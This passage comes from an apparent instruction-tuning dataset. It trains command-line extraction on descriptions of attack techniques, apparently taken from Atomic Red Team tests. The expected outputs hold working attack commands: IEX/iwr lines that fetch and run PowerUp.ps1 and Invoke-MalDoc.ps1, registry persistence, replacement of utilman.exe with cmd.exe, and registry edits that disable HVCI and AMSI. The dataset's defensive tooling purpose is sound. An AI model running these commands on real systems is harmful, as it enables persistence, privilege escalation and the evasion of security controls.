 - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy a command to the clipboard and run it, use the following command: echo ifconfig | pbcopy\n$(pbpaste); To copy clipboard data to a file, use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nSet-Clipboard -value \"Atomic T1115 Test, grab data from clipboard via VBA\"\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1115\\src\\T1115-macrocode.txt\" -officeProduct \"Word\" -sub \"GetClipboard\"",
    "output": "{\"command_list\": [\"echo ifconfig | pbcopy\\n$(pbpaste)\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nSet-Clipboard -value \\\"Atomic T1115 Test, grab data from clipboard via VBA\\\"\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1115\\\\src\\\\T1115-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"GetClipboard\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In this test, which follows typical Gamarue tradecraft, a DLL file with a .init extension is executed via the following command: rundll32.exe #{dll_file},krnl, triggering a Windows pop-up when the 'krnl' function is called.; Upon execution, calc.exe will be launched using the FileProtocolHandler method with rundll32.exe, demonstrated by this command: rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}",
    "output": "{\"command_list\": [\"rundll32.exe #{dll_file},krnl\\n\", \"rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For automatic execution of specified code during user logon, the following registry modifications are required to create a new AT entry and configure its settings:\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v StartEXE /t REG_SZ /d C:\\WINDOWS\\system32\\cmd.exe /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\" /v Configuration /t REG_SZ /d malware_test /f; To replace utilman.exe with cmd.exe and gain an elevated command prompt via the Ease of Access button, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\utilman_backup.exe (copy C:\\Windows\\System32\\utilman.exe C:\\Windows\\System32\\utilman_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\utilman.exe /A\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe\n",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v StartEXE /t REG_SZ /d C:\\\\WINDOWS\\\\system32\\\\cmd.exe /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\" /v Configuration /t REG_SZ /d malware_test /f\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\utilman_backup.exe (copy C:\\\\Windows\\\\System32\\\\utilman.exe C:\\\\Windows\\\\System32\\\\utilman_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\utilman.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\utilman.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\utilman.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To abuse the boot verification feature, a threat actor can create the necessary registry key and set a malicious file path with this command: reg add HKLM\\System\\CurrentControlSet\\Control\\BootVerificationProgram /v ImagePath /t REG_SZ /d \"#{malicious_file}\"; To add persistence through the Windows Context Menu as described by Hexacorn, use the following command: reg add \"HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\Size Modify\\command\" /ve /t REG_SZ /d \"C:\\Windows\\System32\\calc.exe\" /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\BootVerificationProgram /v ImagePath /t REG_SZ /d \\\"#{malicious_file}\\\"\\n\", \"reg add \\\"HKEY_CLASSES_ROOT\\\\Directory\\\\Background\\\\shell\\\\Size Modify\\\\command\\\" /ve /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate Windows Firewall rules, use the following command: netsh advfirewall firewall show rule name=all; This script identifies network configuration information by running multiple commands, with the output appearing via stdout. Use the following command: \nif [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"netstat -Sp tcp\"; else cmd=\"netstat -ant\"; fi;\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then ifconfig; else echo \"ifconfig is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ip)\" ]; then ip addr; else echo \"ip is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v netstat)\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \"netstat is missing from the machine. skipping...\"; fi;",
    "output": "{\"command_list\": [\"netsh advfirewall firewall show rule name=all\\n\", \"if [ \\\"$(uname)\\\" = 'FreeBSD' ]; then cmd=\\\"netstat -Sp tcp\\\"; else cmd=\\\"netstat -ant\\\"; fi;\\nif [ -x \\\"$(command -v arp)\\\" ]; then arp -a; else echo \\\"arp is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ifconfig)\\\" ]; then ifconfig; else echo \\\"ifconfig is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v ip)\\\" ]; then ip addr; else echo \\\"ip is missing from the machine. skipping...\\\"; fi;\\nif [ -x \\\"$(command -v netstat)\\\" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo \\\"netstat is missing from the machine. skipping...\\\"; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For disabling Hypervisor-Enforced Code Integrity, execute the registry command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 0 /f. Remember that HVCI must be enabled first, and this operation should not be performed in production environments.; This technique, currently used by AsyncRAT and other malware, involves disabling AMSI via the registry with the command: REG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\" /v \\\"Enabled\\\" /t REG_DWORD /d 0 /f\\n\", \"REG ADD HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\\\InProcServer32 /ve /t REG_SZ /d C:\\\\IDontExist.dll /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 